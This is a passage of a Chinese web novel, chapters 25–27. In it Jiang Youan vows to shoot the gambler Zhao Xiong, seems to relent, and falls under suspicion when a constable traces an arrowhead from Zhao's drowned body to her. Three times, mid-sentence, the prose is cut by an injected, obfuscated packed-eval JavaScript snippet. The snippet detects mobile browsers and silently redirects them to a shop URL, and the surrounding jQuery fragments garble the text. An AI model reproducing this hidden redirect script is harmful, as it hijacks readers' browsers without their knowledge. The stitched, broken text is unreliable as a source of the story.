“我听你的,会好好送阮姑娘回家,不过,你不让我跟着,那就让袁姑娘一起去吧,我们也能放心些。”杨恩说道。 阮荷也点了点头。 姜佑安有些无奈,“我都说了不会做什么,你们就这么信不过我吗?” 三人都点了点头,姜佑安只得妥协,“好吧,我和袁竹一起去。” 几人出了城门,分成了两路,一路往南回家去,一路往西去了赵家村。 姜佑安和袁竹边走边问路,路边田里一位忙着种麦子的农妇突然跑到路上来,小声对两人说,后面有男人在跟着她们。 两人疑惑地回头看去,见是戴庭芳和程祥远远跟在后面,姜佑安向农妇道了谢,妇人回了地里干活,姜佑安挥手冲后面喊道:“戴公子,你们这是要去哪儿啊?” 戴庭芳硬着头皮走了过去,眼睛始终盯着地面。 姜佑安向前走了几步,凑到了戴庭芳眼前,“戴公子,我们好像顺路啊,不如就一起吧。” 戴庭芳勉强笑了笑,“好啊。” “你们要去哪儿?”袁竹问道。 “两位姑娘别见怪,我家公子知道两位姑娘要去找那个赵雄,放心不下,才跟了过来。”程祥说道。 “你们也不放心?”姜佑安皱起眉头,抱怨道:“都说了只是看看,至于吗?一个两个的,都这么信不过我。” 袁竹轻声笑了,“谁让你这么爱冲动。” “我信得过姑娘,只是担心赵雄会为难两位。”戴庭芳低着头说道。 “算了,我也不跟你们计较,既然你们要跟着,那就一起去吧。”姜佑安说道。 姜佑安和袁竹走在前面,戴庭芳和程祥跟在后面,慢慢向赵家村走去。 道路两旁的水稻都已收割,村民们正忙着种小麦和油菜,赶牛、翻地、播种,到处一片繁忙的景象。 以往戴庭芳都是出城来散心的,看到农民劳作,心里也会觉得踏实,但今天,他有些担忧,两个人女人要去面对劫走她们钱财的地痞,不知道将会发生些什么。 姜佑安回头看向戴庭芳,“戴公子,你平时也在书院读书吗?” “以前是,最近都没有读书了。”戴庭芳答道。 “怎么不读了?听说你家对你管得挺严的,你这样日日外出,还不读书,令尊不会生气吗?”姜佑安问道。 戴庭芳低下头,“我确实对不起我爹。” 袁竹向后看了一眼,怼了怼姜佑安的胳膊,小声说道:“你不要说这些了。” 姜佑安感觉到戴庭芳的情绪低落,岔开了话题。 四个人有一茬没一茬地说着话,来到了赵家庄,向路过的人打听了赵雄的住所,便直接去了赵雄家门口。 这是个土墙围成的小院子,院子里打扫得很干净,不见赵雄,却有一个老妇人和一个年轻的女人坐在院子里晒太阳。 袁竹感觉很奇怪,“听说赵雄至今没有成亲,家里只有一个老母亲,那个年轻人是谁?” 25. 报仇 “可能是附近的邻居吧。”程祥说道。 “有赵雄这样的邻居,还愿意跟他娘来往,这女人也太大胆了些。”袁竹说道。 姜佑安走过去,敲了敲院门,“老人家,请问赵雄在家吗?” 郭英从椅子上站起身来,“赵雄不在,你们找他有什么事?” “是不是来要钱的?”徐燕脸上布满皱纹,无言地诉说着她历经过的愁与苦,“唉,我儿子对不起你们,可我也没什么钱,你们去屋里看看,有什么能拿走的,就都拿走吧。” 戴庭芳和程祥留在了外面,袁竹和姜佑安一起走进了院子。 姜佑安向矮小黑暗的房屋内张望,见里面空荡荡的,只剩一张桌子和一个条凳,她心有不忍,微笑道:“老人家您误会了,我们是赵雄的朋友,不是来要钱的。” 徐燕看了看进来的两个姑娘,一脸的不敢置信,“你们,是我儿子的朋友?” 袁竹赶忙附和道:“对,是朋友,我们是碰巧路过这里,想起他家在这里,就过来看看,他既然不在,那我们改天再来。” “哎,别着急走啊。”徐燕笑呵呵地拄着拐仗站了起来,皱纹都舒展了不少,“以往来的都是催债的,今天竟然有我儿子的朋友来,我真是高兴,你们,留在这里,吃完晚饭再走吧。” “不了。”看到老人家高兴的样子,姜佑安感觉内心不安,只想赶紧走,“老人家,我们只是路过来看一眼,就不留下吃饭了。” 徐燕还是开心地笑着,“也好,也好,我老婆子也拿不出什么招待的东西,你们走路累了吧,过来坐一坐,我给你们倒点儿水喝。” 面对一个穷苦的、干瘪的老人热情的邀请,姜佑安快要落下泪来,忙摆手拒绝,“我们家离得远,还得继续赶路,就不坐了。” 正往屋里走,要去倒水的徐燕转过身来,有些惋惜地说道:“这就要走了?” “对,我们这就走了。”袁竹说道。 徐燕颤巍巍地走过来,一手拄杖,一手握住了姜佑安的手,“我知道,你们都是好人,你们要是看见我儿子,就帮忙多劝劝他,不要再赌了,只要他愿意改好,我还认他是我儿子。” 姜佑安感受到徐燕瘦到皮包骨头的手掌和温热的体温,她有些不知所措地看向袁竹。 袁竹笑着说道:“有机会我们一定告诉他。” 姜佑安赶忙点头,“对,我们会告诉他的,今天就先告辞了,您留步。” “哎,姑娘慢走。”徐燕微笑着,慢慢挥动着她的手。 姜佑安一走出院子,眼泪就流了出来,走得稍远了一些之后,她越想越伤心,忍不住抽泣起来,“老人家好可怜,明明是那么好的一个人,怎么会有赵雄那样的儿子。” “这可说不准,说不定她是故意演戏给你看的,她知道有很多人上门催债,表现得热情一点,善良一点,就能糊弄过去,不用掏钱了。”袁竹说道。 戴庭芳拿出手帕来,递到姜佑安的手里,姜佑安道声谢,接了过去。 “你怎么能这么说呢?老人家看起来多可怜啊。”姜佑安一边哭一边说道。 “这世上奸猾的人多了去了,你想想,她要是好人,怎么会养出赵雄那样的孩子?”袁竹说道。 一个女人的声音从戴庭芳背后响起,“她是个善良的人,只可惜,从小对儿子过于溺爱,才让他变成了这个样子。” 众人回过头来,见是刚才在院子里的那个年轻女人。 “你是谁?”袁竹问道。 “我叫郭英,和你们一样,都是来找赵雄要债的。”郭英说道。 “你怎么知道我们是来要债的?”姜佑安擦着眼泪问道。 “很简单,赵雄没有你们这样的朋友,他认识的人,都是跟他一样的流氓地痞。”郭英说道。 姜佑安了然地点点头,“我知道了,你也和我们一样,看见老人家这么可怜,也不忍心要债了吧。” “我第一次来到她家的时候,看到她躺在堂屋的地上,就把她扶起来,喂了些水,我没说自己是做什么的,只说自己是路过,她就向我哭诉,说她儿子回来找她要钱,她没有钱,儿子就打她,还掐着她的脖子把她掐晕了。”郭英神情冷漠,“老人家是可怜,但欠我的,我也必须讨回来。” “他竟然对一个老人家施暴!还是自己母亲!真是狼心狗肺,等我看到他,一定要了他的狗命!”姜佑安气愤地说道。 “看你们一起在院子里晒太阳,关系应该挺好的吧。”程祥说道。 “你是故意接近她,好找到她儿子?”袁竹问道。 “差不多吧,老人家说她儿子威胁她,要她准备一笔钱,说是昨天会过来取,我昨天就在她家等着,结果等到今天,赵雄也没来。”郭英说道。 “昨天他去我们家抢了一笔钱,自然是不惦记拿不出钱来的老母亲了。”姜佑安说道。 “怪不得,有多少钱?”郭英问道。 “不到十两。”袁竹说道。 “他是个赌鬼,这两天估计已经把钱赌没了,我看他明天或者后天,一定会出现。”郭英说道。 姜佑安激动地站了出来,“好!明天我就拿弓箭来,射死他!” “你冷静一点。”袁竹担心地说道:“钱不算什么,你要是杀了人,可就严重了。” “对啊,姜姑娘,你可不能背上命案。”程祥说道。 郭英看向姜佑安,目光如炬,“姜姑娘,你真有此心?” “当然。”姜佑安点了点头,“殴打老人,勒索钱财,还意图□□妇女,他若是不死,不知道还会有多少人遭殃,官府不管,我来管!” “好,姜姑娘,明天一早,我在赵雄家里等你。”郭英说道。 “郭姑娘,我叫姜佑安,明天我一定赴约。”姜佑安说道。 郭英点了点头,转身离去。 戴庭芳走上前来,“姜姑娘,你不能这样做。” 姜佑安看向戴庭芳,“怎么不能?” “杀死一头鹿,就已经是很残忍的事了,你要杀人,就是突破了为人的底线。”戴庭芳一脸严肃地说道。 “我杀鹿,是为了我们一家能有肉吃,我杀人,是为了避免有更多的受害者出现,你制止我,难道是有什么更好的办法吗?”姜佑安说道。 “只要别去招惹他就好了,钱的事,我来想办法。”戴庭芳说道。 姜佑安满脸不解,“你是说他来要一次钱,我们就得给他一次?如果他半夜拿着刀翻墙进来,逼迫我们把阮荷交出去,我们也要交出去吗?” “你们的安全,我也会想办法保障。”戴庭芳说道。 姜佑安轻蔑地笑了笑,“你要如何保证?给我们建一座宫殿,再配上许多守卫?” 戴庭芳羞愧地低下头,“这个我做不到。” “这件事本就和你不相干,我感谢你愿意借钱给我们,但你也不能以此来干涉我的决定。”姜佑安说道。 “我。”戴庭芳有些犹豫地说道:“我只是不希望阮表妹和一个杀人犯生活在一起。” “那你就把她带走,我没有意见。”姜佑安语气冰冷。 戴庭芳抬起头来,直视姜佑安的眼睛,“你真的要去杀人?” 姜佑安毫不回避,坦荡地点点头。 戴庭芳感到很失望,“我本来以为,就算你残忍血腥,就算你轻浮浅薄,但冲着你对阮姑娘的爱护和对公平正义的维护,我可以接受你成为我的朋友,但现在,你要像猎杀一头鹿一样,去杀一个人,这突破了我的底线,我绝对不能接受。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667818|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜佑安仔细端详着戴庭芳的脸,原本让她十分喜爱的俊俏容颜,此时竟感到些许厌恶,她冷哼一声,“我竟不知道,成为你的朋友是什么了不得的荣誉吗?” 戴庭芳的脸色惨白,怔怔地看了姜佑安一会儿,不发一言,转身离去,程祥向姜佑安和袁竹道了别,跟了上去。 姜佑安看向袁竹,“你也反对我找赵雄报仇?” 袁竹垂下眼帘,看着路边有些枯黄的野草,“杀人是件大事,虽然赵雄是个无赖,但也不该由你来杀。” 太阳逐渐西斜,姜佑安的一半脸隐在了阴影里,“一个人生活时,你害怕,现在我们可以一起反抗,你还在怕什么?” “我只想过安稳的生活,不想招惹麻烦。”袁竹说道。 “我知道。”看着袁竹脸上的惶恐和不安,姜佑安轻轻笑了,“行,那就听你的,先忍下来吧,咱们回去想想,要是赵雄再出现,该怎么应对。” 袁竹看着姜佑安,不太敢相信,“你真的要放弃?你不是已经答应郭英了吗?” “不是你让我放弃的吗?怎么又问我,我住在你家,你说不行,那我也只能爽约了。”姜佑安感叹道:“钱到了赌鬼手里,肯定是要不回来了,刚刚小阮的表哥也让我给得罪了,这个冬天,咱们怕是难过了。” 袁竹挤出一个勉强的微笑,“没事,只要人都好好的,总会有办法的。” “是啊,车到山前必有路,总会有办法的。”姜佑安背对着夕阳,踏上了来时的路,轻松地开起玩笑来,“早知如此,我就该多带点金子银子再逃走,怪我以前不管钱,不知道金银是多好的东西,要是把我家里的银子都带上,真可以给咱们盖个宫殿了。” 听了姜佑安的话,袁竹的心情也轻松起来,“别说金银了,我看别的富家小姐,身上穿戴的都是珠宝首饰,你要是能带点首饰出来变卖也好啊。” 姜佑安叹了一口气,“谁说不是呢,我嫌带着叮呤咣啷的不方便,把我的金项圈玉手镯全都留下了,半路上灌木荆棘勾掉了我的金簪,刮破了我的衣服,连我的珍珠金耳环都掉了一只,我急着逃跑,都没来得及去管。” 袁竹不知道她说的是真是假,只顺着她的话说,“掉在哪边了?我们去找找,说不定还能找回来,一支金簪就是尺寸小点儿,也够我们吃一年的了。” “我怕被人发现,都是夜里赶路,白天休息,东西是晚上丢的,我也不认识路,不知道是丢在什么位置了。”姜佑安说道。 “你说丢了一只金耳环,那不是还有一只吗?”袁竹问道。 “本来是还有一只,那天我太饿了,一位老人家请我吃了饭,我看她那么穷,还那么心善,就把那只耳环送给她了。”姜佑安说道。 “也好,起码老人家不用为过冬发愁了。”袁竹说道。 两人你一言我一语地说着话,身披夕阳余辉,走进了袁家的院门。 阮荷和杨恩都在院子里等着,袁竹说赵雄没有回家,找不到人,这个钱应该是要不回来了,让大家不要再惦记这个,以后卖花再挣就是了。 杨恩很不甘心,但人不在,他也没有办法,阮荷则是忧心忡忡,担心大家会因为她而不能熬过这个冬天。 一夜无言,早上天刚蒙蒙亮,姜佑安和阮荷还在熟睡,袁竹就起床了,她觉得今天格外冷,可能过不久就要下霜了,要是菊花打了霜,很快就会枯萎,花也就没得卖了。 袁竹拿着剪刀去了菊花地里,看着地里所剩不多的花骨朵,陷入了沉思,寒风阵阵吹过,沁脾透骨,她打了一个寒颤,算了,想那么多也没用,走一步看一步吧。 袁竹剪下一捧花,拿着剪刀刚走进院门,正在院子里扫地的阮荷看了看她身后,奇怪地问道:“佑安姐姐不是和你一起出去的吗?她怎么没回来?” 26. 寻踪 袁竹回头向身后看了看,门口什么人都没有,她倒吸了一口冷气,“你说姜佑安跟我一起出去的?” “是啊,你刚出门,佑安姐姐就起床了,她说要跟你一起剪菊花,她还让我多做点饭,她吃饱了好上山打猎去。”阮荷说道。 袁竹走进堂屋,见墙壁上悬挂的弓和箭囊都不见了。 阮荷放下扫帚走进了屋里,“姐姐,怎么了?佑安姐姐没去找你吗?” 袁竹把花和剪刀放在桌上,转身向外走去,阮荷跟着她走到院门外,“姐姐你去哪儿?饭已经好了,佑安姐姐呢?” “姜佑安上山打猎去了,我出去有点事,可能一时不会儿回不来,你吃完早饭就去木匠那里找杨恩,等我回来了,过去接你,你再回来。”袁竹说道。 阮荷的神色紧张起来,“出什么事了?” “没事。”袁竹摸了摸阮荷的脑袋,轻声安抚她,“没事的,我会把姜佑安带回来,我们还能像之前一样生活。” “佑安姐姐没上山吗?她是不是去了赵雄家?”阮荷问道。 “可能是,也可能不是,我先去看看,你回去吃饭吧,吃完饭去木匠那,别忘了把大门锁上。”袁竹说道。 “嗯。”阮荷点了点头,向袁竹挥手告别,转身回了院子里。 一阵秋风刮过,丝瓜架上掉下来几片枯黄的叶子,寂静无人的院子,让她恐慌,她很害怕会有人突然冲进来,威胁她交出她所拥有的一切。 阮荷进了屋,把菊花放进了脸盆里,她连早饭都没吃,快步走出院子,锁了门,向附近的村子走去。 阮荷回头看过去,袁竹的身影正变得越来越远,越来越小。 袁竹越走越快,逐渐跑了起来,她要赶紧去赵家村,阻止姜佑安,她不能让姜佑安成为一个杀人犯,到时候,一切就都无法挽回了。 袁竹气喘吁吁地来到了赵雄家,太阳已经升起,晒在人身上,却还透着冷意,郭英扶着徐燕从昏暗的房屋里走了出来,看到了院门外的袁竹。 袁竹大步走了进来,去房间里找了一圈,出来问道:“姜佑安呢?” 郭英把徐燕扶到竹椅边,徐燕颤巍巍地坐下,笑呵呵地看向袁竹,“姑娘,我记得你,你是我儿子的朋友,今天又来找我儿子吗?” “不是,我找昨天和我一起来的那个姑娘。”袁竹急切地说道。 “那个姑娘?”徐燕表情很是疑惑,“她不是昨天跟你一起走的吗?之后就没有来过了啊。” “没有来过?”袁竹狐疑地看向郭英。 郭英皱起了眉头,语气十分不悦,“你看我干什么?我今天一早就在等她,她改了主意,不来也就算了,你怎么还闯进别人家里,来找我们要人?” “改了什么主意啊?”徐燕问道。 “昨天那位姑娘说,今天要再来看你,不过,她改了主意,没来。”郭英解释道。 “不来就不来吧。”徐燕轻轻叹了口气,“孩子来看我,我都没什么能拿出来招待的。” “老人家,你真的没看见昨天和我一起来的姑娘?”袁竹觉得不放心,又问了一遍。 徐燕摇了摇,“没有,今天过来的,只有小郭和你。” “你跟这位郭姑娘是什么关系?”袁竹问道。 “那天我在家里晕倒了,多亏这个孩子路过,往我家里看了一眼,才救了我一命。”徐燕伸手拉住了郭英的手,露出了温和的笑容,“她也是个好孩子,不嫌我老婆子又老又穷,还经常送给吃的给我。” 袁竹看向郭英,“你为什么对她这么好?你到底想做什么?” 郭英放开徐燕的手,微笑着说道:“奶奶,我跟这位姑娘出去说几句话,你就好好坐在这里晒太阳啊。” “好,我没事,你去吧。”徐燕答道。 郭英走过去,拉着袁竹的胳膊,把她拽出了院子,“你在老人家面前说这些,你到底想做什么?” “我要阻止姜佑安和你一起杀人。”袁竹压低了声音说道。 “你要阻止,找她就好了,她又没有来这里。”郭英说道。 袁竹紧盯着郭英的眼睛,质问道:“你对老人家这么好,却想要杀她儿子!她年纪这么大了,你不觉得你这么做,太残忍了吗?” 郭英避开袁竹的视线,看向一旁的土墙,“我没有说要杀她儿子,是姜姑娘说的,她既然不肯来,那我也只当她没有说过这话,这事就这么算了,我不会再提。” 袁竹琢磨不清郭英的用意,看不透她是善良还是残忍,“你在这里守着也没用吧,老人家没钱给你。” “我知道。”郭英说道:“我本来也打算能拿回我的钱。” “你怨恨赵雄,却要照顾他娘?”袁竹不能理解。 “在赵雄这件事上,也许她也有错。”郭英叹了口气,仿佛在抑制上涌的泪水,“但我一看到她,就想起我的奶奶,我不忍心看到她一个人老死在这个小房子里。” “你真的清楚你在做什么吗?赵雄回来了,你要怎么办?”袁竹问道。 “我没睡迷糊,也没喝酒,当然清楚,只不过,事情是复杂的,做出选择,没有那么容易。”郭英看向袁竹,“看来姜姑娘已经做好决定了,你回去吧,说不定,她已经在等你了。” 难道姜佑安真的去山上打猎了?她真的改变主意了?昨天回去路上说的那些话,都是她的真心话?袁竹产生了怀疑。 “赵雄可能今天回来,他要是看见你,肯定会再勒索一笔,你赶紧走吧,我也要回去了。”郭英说完,转身进了院子。 这里没有,姜佑安还能去哪里呢?难道又去了县衙?不可能,她不会再指望官差了,也许她真的上山了,说不定中午就会回来想到这,袁竹决定回家看看。 回到袁家时,大门还是紧锁的,袁竹去了陈大用那里接阮荷。 阮荷迎了出来,“袁姐姐,你回来了。” “回来了。”袁竹扯出一个微笑,“不过,我没有找到姜佑安。” 阮荷笑了笑,“佑安姐姐上山打猎去了。” “你怎么知道?她回来了?”袁竹向屋内张望着,想要能立刻看到姜佑安。 “没有,但是她上山的时候,杨大哥看见她了,佑安姐姐说要多打猎,打很多猎物来换钱。”阮荷说道。 杨恩跟在阮荷身后,袁竹询问的目光看向他,“真的?” 杨恩点了点头,“是天刚亮的时候,我本来想过去找你们的,遇到她正往山上去。” 袁竹紧张的情绪终于放松下来,缓缓舒了一口气,“那就好。” 陈大用从屋里走出来,笑出了满脸的褶子,“人都来了?中午在这里吃饭吧。” “爷爷,佑安姐姐还没来。”阮荷说道。 “我们就不在这吃了,早上做的饭还有吧,我回去吃点就行。”袁竹说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679640|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那我也回去了,佑安姐姐可能也快回来了,等会儿就要做中午饭了。”阮荷说道。 “家里有饭,我就不留你们了,今天也没什么好菜,赶明儿杀鸡再请你们来吃。”陈大用笑着说道。 “老爷子,你不用这么客气。”袁竹说道。 “你们家的事我都听说了,钱没了,也没办法,实在没有粮食了,我这里可以匀些给你们。”陈大用说道。 “你能收留杨恩,我们就很感谢你了。”袁竹说道。 “刚才还说让我不用客气,你怎么又跟我客气上了?”陈大用脸上是慈祥的笑容,“你们就跟我的孙子孙女一样,没饭吃了,就到我家来,别客气。” “嗯。”袁竹充满感激地点了点,笑着说道:“谢谢,哪天我们吃不上饭了,一定来求助。” 袁竹回了家,心情放松下来,饥饿的感觉袭来,不等姜佑安回来,她就把阮荷做的早饭热热吃了。 阮荷站在大门口,等着姜佑安从山上回来,到了日中时分,还不见她的身影,阮荷才去了厨房做午饭。 做好了午饭,仍然不见姜佑安回来,袁竹说也许姜佑安今天走得比较远,让她不必等了,自己先吃吧。 袁竹和阮荷都愿意相信姜佑安是上山打猎去了,但看不到她的人,始终还是放心不下,直到姜佑安拎着一只兔子出现在院门口,两人的脸上才终于露出了笑意。 姜佑安踏进院门,顶着一头自己梳得乱七八糟的头发,兴高采烈地扬声道:“看我打到了什么?” 阮荷高兴地迎了上去,“是兔子!佑安姐姐真厉害!” “怎么去了这么久?连早饭都不吃,你不怕饿晕在山里?”袁竹从姜佑安手里接过兔子,拎着兔子的耳朵,查看它的伤口。 兔子好像精疲力竭了一般,绝望地看着眼前的人,它的右后腿有一个被箭支贯穿的伤口,还在滴着血。 “你不知道,我今天可倒霉了,先是射中了一只野鸡,没想到它身上带着箭还能飞跑了,之后又射中了一只兔子,也带着箭跑了,我想着不能一个猎物没打到,还损失两支箭,就追着兔子跑,还好,这兔子腿上的箭卡在灌木丛里了,我才不至于空着手回来。”姜佑安说道。 “你就是空着手回来,谁也不会说你什么,以后可不许这样,也不跟我们打声招呼就上山。”袁竹说着关上了院门,把兔子放在地上,兔子跑到墙边,蜷缩成了一团。 “对啊,袁姐姐还以为你去找赵雄了呢。”阮荷说道。 “我找他做什么?一个赌鬼,也要不出钱来,有这功夫,还不如去打些猎物来卖。”姜佑安说道。 “说得对。”袁竹很高兴姜佑安彻底改变了想法,和阮荷商量着要把兔子先养起来,阮荷进房间拿出梳子来,要给姜佑安重新梳头发。 袁家的日子又恢复了平静,连杨恩都不再提起赵雄的事,姜佑安上山打猎,袁竹隔个两三天会去卖一次花,其他时间都和阮荷一起侍弄菜园,打算多种些秋菜,拿到镇上卖。 这天,姜佑安照例上山去了,袁竹和阮荷在菜园里摘南瓜,有一个身着青衣、腰插铁尺的捕快走到了菜园旁边,向两人问道:“姜佑安是住在这里吗?” 袁竹放下了手中的南瓜,“是,官爷找她有什么事?” “赵家村死了一个人,据我调查,这案件可能跟她有关,我来找她了解一下情况,她在家吗?”捕快曾景阳问道。 27. 案件 袁竹闻言,心内一惊,“赵家村?是赵雄死了?” “对,就是抢劫过你们钱财的赵雄。”曾景阳说道。 “你怎么知道他抢劫过我们?”袁竹问道。 “这个案子,我已经调查了几天了,你就是袁竹吧,姜佑安在哪儿?”曾景阳问道。 “她不在,赵雄是怎么死的?死在哪里?”袁竹问道。 “掉进河里淹死的。”曾景阳说道。 “淹死的?那跟姜佑安有什么关系,你怎么会查到她头上?”袁竹问道。 “我了解到,姜佑安有杀死赵雄的意图,而且,赵雄的死亡时间很可能是本月十六日,也就是你和姜佑安去赵家村找赵雄的第二天。”曾景阳说道。 “谁跟你说姜佑安要杀赵雄的?郭英?”袁竹感觉这件事有些复杂,难道是郭英做了什么,还故意要把姜佑安牵扯进来? “郭英只是如实相告,我希望你也能实话实说。”曾景阳说道。 “赵雄的死,跟姜佑安没有关系,去了赵家村的第二天,姜佑安就上山打猎去了,再没有去找过赵雄,你不信,可以去我家院子里看看,她那天打来的兔子还在院子里养着。”袁竹说道。 曾景阳听了,依旧不动声色,“你能证明她没有去赵家村?” “我可以证明,我本来以为姜佑安会去找赵雄了,十六日那天,我又去了一趟赵雄家去找姜佑安,郭英还有赵雄他娘都可以证明,姜佑安根本没有过去。”袁竹说道。 阮荷走到了袁竹身边,轻声说道:“还有杨大哥,他也可以证明,那天,他亲眼看见佑安姐姐上山打猎去了。” “杨大哥是谁?”曾景阳问道。 “他是村里木匠家的学徒。”袁竹说道。 曾景阳抬手指向不远处的村子,“就是那个村子吗?” “对。”阮荷点了点头。 “木匠叫什么?”曾景阳问道。 “他叫陈大用,你问这个干什么?”袁竹问道。 “凡是案件相关的人员,我都要一一询问。”曾景阳接着问道:“十六日那天,姜佑安打猎回来是在什么时辰?” “应该是吃过午饭没多久回来的,她上山打猎一向都是那个时间回来。”袁竹不能理解这个捕快对姜佑安的怀疑,“和赵雄有仇的人应该不少,你为什么偏偏盯上了姜佑安?就因为她说了想要杀死赵雄吗?” “有作案动机的人,当然应该格外注意,姜佑安去哪儿了?什么时候回来?”曾景阳问道。 “她只是随口那么一说,并不是认真的,我之后劝过她,她就改变主意了,并没有去找赵雄,更不可能推他入水。”袁竹说道。 “袁娘子,我可没说人是她杀的,只是来问问话,了解一下情况,姜佑安去哪儿了?什么时候回来?”曾景阳耐着性子又问了一遍。 “她上山打猎去了。”阮荷说道。 “中午才能回来是吧,行,我先去村里转转。”曾景阳说完,向两人行了一礼,转身往村子走去。 阮荷紧张地拉住了袁竹的袖子,“袁姐姐,怎么办啊?” 袁竹虽然心里没底,却还是轻轻拍了拍阮荷的肩膀,“没事的,赵雄的仇人很多,就算不是意外落水,也肯定不是姜佑安杀的,捕快只是来问话,不是来抓人的。” 看着袁竹温柔的眼睛,阮荷不安的心逐渐平静下来,“对,佑安姐姐肯定不会杀人的。” 两人各怀心事,在菜园里摘南瓜,又把摘下来的南瓜,一个一个地搬进了院子里。 院子里的丝瓜架上空空荡荡,中午的阳光毫无阻碍地撒了进来,温暖和煦。 院门外突然出来一阵马蹄声,袁竹和阮荷赶忙出去查看,却见是程祥驾着马车,停在了袁家门口。 程祥从马车上跳下来,着急地问道:“姜姑娘在家吗?” “不在,她上山了,你找她做什么?”袁竹问道。 “我家公子说有官差在查赵雄被杀一案,他要我过来提醒姜姑娘小心应对。”程祥说道。 袁竹走过去,把马拴在了一旁的树上,向院门走去,“进来说话吧。” 程祥左右看了看,跟着袁竹走了进去,阮荷关上了院门。 “关于赵雄的死,你家公子知道些什么吗?”袁竹问道。 “我家公子那天跟姜姑娘吵架回家之后,就没有再出过门,直到今天才得知赵雄已经死了。”程祥说道。 姜佑安不知道什么时候才会回来,阮荷搬了椅子出来,三人在院子里坐下。 “这究竟是怎么回事?赵雄会是谁杀的?”姜佑安看着紧闭的院门,说出了自己的推测,“捕快一来就说出姜佑安有过杀赵雄的想法,这事,只有你,你家公子,我还有郭英知道,难道是郭英杀了赵雄,想要嫁祸给姜佑安?” 程祥有些吃惊,“捕快已经来过了?” “来过了,不过,他还没有见到姜佑安。”袁竹说道。 程祥羞愧地低了头,“抱歉,那件事,是我家公子说的。” “什么?”袁竹激动地从椅子上站了起来,“他为什么要说这个?他要害死姜佑安吗?” “公子说毕竟事关人命,他不愿意隐瞒。”程祥低着头说道。 “那他让你来是什么意思?先陷害姜佑安一把,又过来装好人吗?”袁竹生气地说道。 程祥站起身来,依旧不敢看袁竹的眼睛,“公子只是实话实话,并没有要陷害姜姑娘,而且,公子也担心他的证词会对姜姑娘不利,才让我赶紧过来告诉姜姑娘一声。” 袁竹气得不知道说什么好,一片沉寂中,突然传来一阵拍门声,“人不都在家吗?怎么还关门啊?” “是佑安姐姐回来了。”阮荷赶忙跑过去开门。 大门刚开了一条缝,姜佑安就推着门,把一只拎着兔子的手伸了进来。 “佑安姐姐又打到一只兔子。”阮荷欢喜地说道。 姜佑安把兔子交给阮荷,笑呵呵地说道,“我今天特意没射中要害,让它跟之前那只做个伴儿吧。” “嗯。”阮荷笑着点点头。 “小阮,门口怎么有辆马车?是谁的?”姜佑安问道。 阮荷的开心转变为忧虑,她回头看了程祥一眼,“那是程大哥的马车。” 姜佑安走进了院子,“你家公子也来了?” “没有,我自己来的。”程祥说道。 “你来做什么?”姜佑安问道。 程祥向着姜佑安走了两步,脸上带着愧色,“赵雄死了,有官差来找我家公子,询问我们去赵雄家的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691233|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,都发生了什么,我家公子都照实说了,他怕给你造成什么麻烦,所以让我来知会你一声。” “他还说什么了?”姜佑安问道。 程祥抬起头来,诚恳地说道:“我家公子没说别的,不过,姜姑娘如果想离开此地,我可以帮你。” “哦,你的马车,原来是这个用意。”姜佑安微微向斜后方瞟了一眼,“谢谢你的好意,不过应该是用不着了,捕快已经跟着我来了。” 众人向院门看去,果然见曾景阳走了进来。 “你就是姜佑安?”曾景阳问道。 姜佑安转过身去,微微一笑,“正是。” 曾景阳看了看姜佑安身上背的弓箭,“姜姑娘打猎用的是弓箭?” “是。”姜佑安答道。 “姜姑娘是打猎能手,想必用弓箭杀个人,也不在话下吧。”曾景阳笑着说道。 姜佑安做出疑惑的神情,“你这话,我倒不知是从何说起了。” “姑娘何必装糊涂,戴家的小厮都在这里了,想必赵雄的事,你也都知道了。”曾景阳说道。 “我是知道他死了,死得好啊。”姜佑安笑了笑,“只是不知赵雄的死,和我有何关联?” “姜佑安,你不要乱说话!”袁竹担心地说道。 “事情我都了解的差不多了,也不想跟你兜圈子。”曾景阳从怀里掏出一布包,打开来,里面放着一截箭头,“你可认得这个?” 姜佑安看了看,“不认得。” 袁竹心里不由得一紧,“这箭头哪来的?” “这是在赵雄身体里发现的。”曾景阳说道。 “你不是说赵雄是掉进河里淹死的吗?”袁竹问道。 “赵雄那天喝了酒,按说他失足落入河中,自己溺水身亡,也不是没有可能,但偏偏,他身上有两处伤口,都是箭伤,依我看,他是被人射中之后才落水的,这一箭射进了骨头里,凶手拔箭的时候,不慎掰断了箭支,才留下了这个关键的证据。”曾景阳说道。 袁竹和阮荷不敢置信地看向姜佑安,姜佑安脸上带着微笑,“你说的有理,不过,仅仅因为我身上有弓箭,就断定人是我杀的,这说不过去吧。” “我刚刚去过木匠陈大用那里,他已经承认了,这个箭头就是他专门给你打造的。”曾景阳说道。 